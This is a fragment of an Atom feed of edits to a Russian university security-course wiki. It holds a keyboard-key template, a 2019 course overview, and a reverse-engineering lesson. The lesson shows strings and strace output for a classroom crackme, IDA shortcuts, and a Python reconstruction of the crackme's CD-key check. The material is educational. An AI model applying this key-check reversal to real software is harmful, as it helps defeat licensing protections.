&lt;div&gt;&amp;lt;kbd style=&amp;quot;border-radius: 0.2em; box-shadow: 0.1em 0.2em 0.2em #222; background-color:black; font-family:sans-serif; color: white; font-size:0.85em; background-image: linear-gradient(top, #eee, #f9f9f9, #eee); padding:0.1em 0.3em; white-space:nowrap&amp;quot;&amp;gt;{{#switch:{{lc:{{{1}}}}}&lt;br /&gt;
 | caps lock                     = ⇪ Caps Lock&lt;br /&gt;
 | [[caps lock]]                 = ⇪ [[Caps Lock]]&lt;br /&gt;
 | shift                         = ⇧ Shift&lt;br /&gt;
 | [[shift (клавиша)|shift]]     = ⇧ [[Shift (клавиша)|Shift]]&lt;br /&gt;
 | enter|ввод|клавиша ввода      = ↵ Enter&lt;br /&gt;
 | [[enter (клавиша)|enter]]&lt;br /&gt;
 | [[клавиша ввода|enter]]       = ↵ [[Клавиша ввода|Enter]]&lt;br /&gt;
 | cmd                           = ⌘ Cmd&lt;br /&gt;
 | [[cmd (клавиша)|cmd]]&lt;br /&gt;
 | [[command (клавиша)|cmd]]     = ⌘ [[Command (клавиша)|Cmd]]&lt;br /&gt;
 | command                       = ⌘ Command&lt;br /&gt;
 | [[cmd (клавиша)|command]]&lt;br /&gt;
 | [[command (клавиша)|command]] = ⌘ [[Command (клавиша)|Command]]&lt;br /&gt;
 | opt                           = ⌥ Opt&lt;br /&gt;
 | [[option (клавиша)|opt]]      = ⌥ [[Option (клавиша)|Opt]]&lt;br /&gt;
 | option                        = ⌥ Option&lt;br /&gt;
 | [[opt (клавиша)|option]]&lt;br /&gt;
 | [[option (клавиша)|option]]   = ⌥ [[Option (клавиша)|Option]]&lt;br /&gt;
 | tab|табуляция                 = Tab ↹&lt;br /&gt;
 | [[табуляция|tab]]             = [[Табуляция|Tab]] ↹&lt;br /&gt;
 | backspace                     = ← Backspace&lt;br /&gt;
 | [[backspace]]                 = ← [[Backspace]]&lt;br /&gt;
 | win                           = ⊞ Win&lt;br /&gt;
 | [[win (клавиша)|win]]&lt;br /&gt;
 | [[windows (клавиша)|win]]     = ⊞ [[Windows (клавиша)|Win]]&lt;br /&gt;
 | menu|меню                     = ≣ Menu&lt;br /&gt;
 | [[меню (клавиша)|menu]]       = ≣ [[Меню (клавиша)|Menu]]&lt;br /&gt;
 | up|вверх                              = ↑&lt;br /&gt;
 | [[клавиши управления курсором|up]]    = [[Клавиши управления курсором|↑]]&lt;br /&gt;
 | down|вниз                             = ↓&lt;br /&gt;
 | [[клавиши управления курсором|down]]  = [[Клавиши управления курсором|↓]]&lt;br /&gt;
 | left|влево                            = ←&lt;br /&gt;
 | [[клавиши управления курсором|left]]  = [[Клавиши управления курсором|←]]&lt;br /&gt;
 | right|вправо                          = →&lt;br /&gt;
 | [[клавиши управления курсором|right]] = [[Клавиши управления курсором|→]]&lt;br /&gt;
 | *&lt;br /&gt;
 | asterisk|астериск             = &amp;lt;nowiki&amp;gt;*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 | #&lt;br /&gt;
 | hash|знак решётки|решётка     = &amp;lt;nowiki&amp;gt;#&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 | [[#]]                         = [[Знак решётки|#]]&lt;br /&gt;
 | :&lt;br /&gt;
 | colon|двоеточие               = &amp;lt;nowiki&amp;gt;:&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 | [[:]]                         = [[Двоеточие|:]]&lt;br /&gt;
 | pipe|вертикальная черта       = &amp;lt;nowiki&amp;gt;|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 | [[|]]                         = [[Вертикальная черта|&amp;lt;nowiki&amp;gt;|&amp;lt;/nowiki&amp;gt;]]&lt;br /&gt;
 | ;&lt;br /&gt;
 | semicolon|точка с запятой     = &amp;lt;nowiki&amp;gt;;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 | [[;]]                         = [[Точка с запятой|&amp;lt;nowiki&amp;gt;;&amp;lt;/nowiki&amp;gt;]]&lt;br /&gt;
 | equals|равенство|равно        = &amp;lt;nowiki&amp;gt;=&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Левый и правый аналоговый стик --&amp;gt;&lt;br /&gt;
 | l-up    | л-вверх&lt;br /&gt;
 | l up    | л вверх  = L↑&lt;br /&gt;
 | l-down  | л-вниз&lt;br /&gt;
 | l down  | л вниз   = L↓&lt;br /&gt;
 | l-left  | л-влево&lt;br /&gt;
 | l left  | л влево  = L←&lt;br /&gt;
 | l-right | л-вправо&lt;br /&gt;
 | l right | л вправо = L→&lt;br /&gt;
 | l-ne    | л-св&lt;br /&gt;
 | l ne    | л св     = L↗&lt;br /&gt;
 | l-se    | л-юв&lt;br /&gt;
 | l se    | л юв     = L↘&lt;br /&gt;
 | l-nw    | л-сз&lt;br /&gt;
 | l nw    | л сз     = L↖&lt;br /&gt;
 | l-sw    | л-юз&lt;br /&gt;
 | l sw    | л юз     = L↙&lt;br /&gt;
&lt;br /&gt;
 | r-up    | п-вверх&lt;br /&gt;
 | r up    | п вверх  = R↑&lt;br /&gt;
 | r-down  | п-вниз&lt;br /&gt;
 | r down  | п вниз   = R↓&lt;br /&gt;
 | r-left  | п-влево&lt;br /&gt;
 | r left  | п влево  = R←&lt;br /&gt;
 | r-right | п-вправо&lt;br /&gt;
 | r right | п вправо = R→&lt;br /&gt;
 | r-ne    | п-св&lt;br /&gt;
 | r ne    | п св     = R↗&lt;br /&gt;
 | r-se    | п-юв&lt;br /&gt;
 | r se    | п юв     = R↘&lt;br /&gt;
 | r-nw    | п-сз&lt;br /&gt;
 | r nw    | п сз     = R↖&lt;br /&gt;
 | r-sw    | п-юз&lt;br /&gt;
 | r sw    | п юз     = R↙&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- PlayStation --&amp;gt;&lt;br /&gt;
 | ps x&lt;br /&gt;
 | ex       = ×&lt;br /&gt;
 | ps c&lt;br /&gt;
 | circle   = ○&lt;br /&gt;
 | ps s&lt;br /&gt;
 | square   = □&lt;br /&gt;
 | ps t&lt;br /&gt;
 | triangle = △&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Nintendo 64 и GameCube --&amp;gt;&lt;br /&gt;
 | c-up    | ц-вверх&lt;br /&gt;
 | c up    | ц вверх  = C↑&lt;br /&gt;
 | c-down  | ц-вниз&lt;br /&gt;
 | c down  | ц вниз   = C↓&lt;br /&gt;
 | c-left  | ц-влево&lt;br /&gt;
 | c left  | ц влево  = C←&lt;br /&gt;
 | c-right | ц-вправо&lt;br /&gt;
 | c right | ц вправо = C→&lt;br /&gt;
 | c-ne    | ц-св&lt;br /&gt;
 | c ne    | ц св     = C↗&lt;br /&gt;
 | c-se    | ц-юз &lt;br /&gt;
 | c se    | ц юз     = C↘&lt;br /&gt;
 | c-nw    | ц-сз&lt;br /&gt;
 | c nw    | ц сз     = C↖&lt;br /&gt;
 | c-sw    | ц-юз&lt;br /&gt;
 | c sw    | ц юз     = C↙&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- по умолчанию --&amp;gt;&lt;br /&gt;
 | #default = {{{1}}}&lt;br /&gt;
}}&amp;lt;/kbd&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)&amp;diff=153</id>
		<title>Введение в практическую безопасность (2019)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)&amp;diff=153"/>
		<updated>2019-03-13T11:02:11Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Материалы */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;Введение в практическую безопасность&#039;&#039;&#039; — математический спецкурс по выбору, читается лабораторией интеллектуальных систем кибербезопасности (ЛИСК) кафедры информационной безопасности (ИБ) факультета ВМК.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: каждый вторник, 18:05, с 12 февраля 2019&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 685, 2-й учебный корпус, планета Земля, Млечный Путь.&lt;br /&gt;
* &#039;&#039;&#039;Чат&#039;&#039;&#039;: https://t.me/joinchat/B4hXs1Z5I6qEtns9fjgbfg или Matrix [https://matrix.to/#/#7fZs5vxGhmxS5KPHDTatYQ:torlan.ru #7fZs5vxGhmxS5KPHDTatYQ:torlan.ru]&lt;br /&gt;
&lt;br /&gt;
Курс рекомендуется студентам, интересующимся практической безопасностью, в особенности — студентам 2-го курса, планирующим распределиться в лабораторию. Каждое занятие будет иметь формат воркшопа/семинара - будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты на курсе:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
&lt;br /&gt;
Оценка за курс будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания вместе дадут &#039;&#039;&#039;3000&#039;&#039;&#039;. Гарантируется, что 3000 и больше будут давать оценку &amp;quot;отлично&amp;quot;. Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Кстати, у нас есть CTF-команда [[Bushwhackers]], приглашаем вас поиграть с нами!&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
* [[Введение_в_практическую_безопасность_(2019)/Задания_по_вебу|Задания по вебу]]&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
* [[Введение_в_практическую_безопасность_(2019)/HTTP,_инструменты_%26_SQL_injection|HTTP, инструменты и SQL injection]] - по теме первого занятия по веб-безопасности&lt;br /&gt;
* [[/Реверс-инжиниринг|Реверс-инжиниринг]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%A0%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3&amp;diff=152</id>
		<title>Введение в практическую безопасность (2019)/Реверс-инжиниринг</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%A0%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3&amp;diff=152"/>
		<updated>2019-03-13T11:00:06Z</updated>

		<summary type="html">&lt;p&gt;WGH: Новая страница: «== strings ==  Выводит константные строки, которые есть в бинарнике. Строки определяются эврис…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== strings ==&lt;br /&gt;
&lt;br /&gt;
Выводит константные строки, которые есть в бинарнике. Строки определяются эвристикой, поэтому часто бывают ложные срабатывания. IDA тоже умеет определять строки.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strings reverse_example_1&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
__gmon_start__&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
_ITM_registerTMCloneTable&lt;br /&gt;
MD5_Final&lt;br /&gt;
MD5_Init&lt;br /&gt;
MD5_Update&lt;br /&gt;
libc.so.6&lt;br /&gt;
fopen&lt;br /&gt;
__stack_chk_fail&lt;br /&gt;
fgets&lt;br /&gt;
malloc&lt;br /&gt;
stderr&lt;br /&gt;
fwrite&lt;br /&gt;
__sprintf_chk&lt;br /&gt;
__libc_start_main&lt;br /&gt;
free&lt;br /&gt;
GLIBC_2.3.4&lt;br /&gt;
GLIBC_2.4&lt;br /&gt;
GLIBC_2.2.5&lt;br /&gt;
OPENSSL_1.0.0&lt;br /&gt;
D$(1&lt;br /&gt;
T$(dH3&lt;br /&gt;
AUATH&lt;br /&gt;
D$h1&lt;br /&gt;
|$hdH3&amp;lt;%(&lt;br /&gt;
x[]A\A]&lt;br /&gt;
AWAVA&lt;br /&gt;
AUATL&lt;br /&gt;
[]A\A]A^A_&lt;br /&gt;
%02X&lt;br /&gt;
./cd-key.txt&lt;br /&gt;
failed to open CD key file&lt;br /&gt;
failed to read CD key file&lt;br /&gt;
invalid cdkey&lt;br /&gt;
Good job!&lt;br /&gt;
;*3$&amp;quot;&lt;br /&gt;
.shstrtab&lt;br /&gt;
.interp&lt;br /&gt;
.note.ABI-tag&lt;br /&gt;
.gnu.hash&lt;br /&gt;
.dynsym&lt;br /&gt;
.dynstr&lt;br /&gt;
.gnu.version&lt;br /&gt;
.gnu.version_r&lt;br /&gt;
.rela.dyn&lt;br /&gt;
.rela.plt&lt;br /&gt;
.init&lt;br /&gt;
.plt.got&lt;br /&gt;
.text&lt;br /&gt;
.fini&lt;br /&gt;
.rodata&lt;br /&gt;
.eh_frame_hdr&lt;br /&gt;
.eh_frame&lt;br /&gt;
.init_array&lt;br /&gt;
.fini_array&lt;br /&gt;
.jcr&lt;br /&gt;
.dynamic&lt;br /&gt;
.got.plt&lt;br /&gt;
.data&lt;br /&gt;
.bss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strace ==&lt;br /&gt;
&lt;br /&gt;
Выводит трассу системных вызовов. Полезно, чтобы определить, какие файлы читает программа, и как вообще взаимодействует с внешним миром (в том числе сеть).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strace ./reverse_example_1&lt;br /&gt;
...&lt;br /&gt;
openat(AT_FDCWD, &amp;quot;./cd-key.txt&amp;quot;, O_RDONLY) = 3&lt;br /&gt;
fstat(3, {st_mode=S_IFREG|0644, st_size=24, ...}) = 0&lt;br /&gt;
read(3, &amp;quot;AAAAA-BBBBB-CCCCC-DDDDD\n&amp;quot;, 4096) = 24&lt;br /&gt;
write(2, &amp;quot;invalid cdkey\n&amp;quot;, 14)         = 14&lt;br /&gt;
exit_group(1)                           = ?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IDA Pro ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный дизассемблер и декомпилятор.&lt;br /&gt;
&lt;br /&gt;
=== Шорткаты ===&lt;br /&gt;
&amp;lt;center style=&amp;quot;font-size: 500%&amp;quot;&amp;gt;&lt;br /&gt;
{{клавиша|F5}}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==== IDA ====&lt;br /&gt;
* {{клавиша|P}} — создать функцию, начиная с текущей позиции курсора&lt;br /&gt;
* {{клавиша|F5}} — декомпилировать функцию&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору (например, перейти к функции или массиву)&lt;br /&gt;
* {{клавиша|Esc}} — назад (противоположность {{клавиша|Enter}})&lt;br /&gt;
* {{клавиша|X}} — показать ссылки на то, что под курсором (на функцию, переменную, строку, etc.)&lt;br /&gt;
* {{клавиша|C}} — переопределить байты, начиная с курсора, как код.&lt;br /&gt;
* {{клавиша|D}} — переопределить байты, начиная с курсора, как данные (последовательные нажатия переключают размер переменной byte-word-dword(-qword))&lt;br /&gt;
* {{клавиша|A}} — переопределить байты, начиная с курсора, как строку&lt;br /&gt;
* {{клавиша|R}} — переопределить число в инструкции как строку (&amp;lt;code&amp;gt;mov rdx, 335F47414C465Fh&amp;lt;/code&amp;gt; -&amp;gt; &amp;lt;code&amp;gt;mov rdx, &#039;3_GALF_&#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
Неплохой [https://radare.gitbooks.io/radare2book/content/debugger/migration.html#shortcuts список] из доков по radare2.&lt;br /&gt;
&lt;br /&gt;
==== Hex-Rays ====&lt;br /&gt;
* {{клавиша|N}} — переименовать&lt;br /&gt;
* {{клавиша|Y}} — поменять тип&lt;br /&gt;
** Может показаться, что с помощью {{клавиша|Y}} можно и переименовать, или с помощью {{клавиша|N}} задать тип, однако это не так&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору&lt;br /&gt;
* {{клавиша|Esc}} — назад &lt;br /&gt;
* {{клавиша|Tab}} — перейти к данному месту из декомпилированного в дизассемблированный код и обратно&lt;br /&gt;
&lt;br /&gt;
[https://www.hex-rays.com/products/decompiler/manual/interactive.shtml Полный список] на официальном сайте.&lt;br /&gt;
&lt;br /&gt;
== Примеры с занятия ==&lt;br /&gt;
&lt;br /&gt;
Бинарники, которые были рассмотрены на семинаре: [[Media:2019 reverse examples.zip]].&lt;br /&gt;
&lt;br /&gt;
Исходник первого примера: [[Media:2019 reverse example 1.c]]&lt;br /&gt;
&lt;br /&gt;
Алгоритм проверки ключа на Python:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import string&lt;br /&gt;
import hashlib&lt;br /&gt;
&lt;br /&gt;
def validate_key(s):&lt;br /&gt;
    if len(s) != 23:&lt;br /&gt;
        return False&lt;br /&gt;
&lt;br /&gt;
    for i, c in enumerate(s):&lt;br /&gt;
        if i in (5, 11, 17):&lt;br /&gt;
            if c != &#039;-&#039;:&lt;br /&gt;
                return False&lt;br /&gt;
        else:&lt;br /&gt;
            if c not in (string.ascii_uppercase + string.digits):&lt;br /&gt;
                return False&lt;br /&gt;
&lt;br /&gt;
    m = hashlib.md5()&lt;br /&gt;
    m.update(s[:17].encode(&#039;ascii&#039;))&lt;br /&gt;
    m.update(bytes([0x4d,0x67,0xde,0xb9,0x60,0xce,0x38,0x30,0xe1,0xb7,0x40,0xe5,0xeb,0x39,0xe0,0x15]))&lt;br /&gt;
&lt;br /&gt;
    return s[18:] == m.hexdigest()[:5].upper()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
</feed>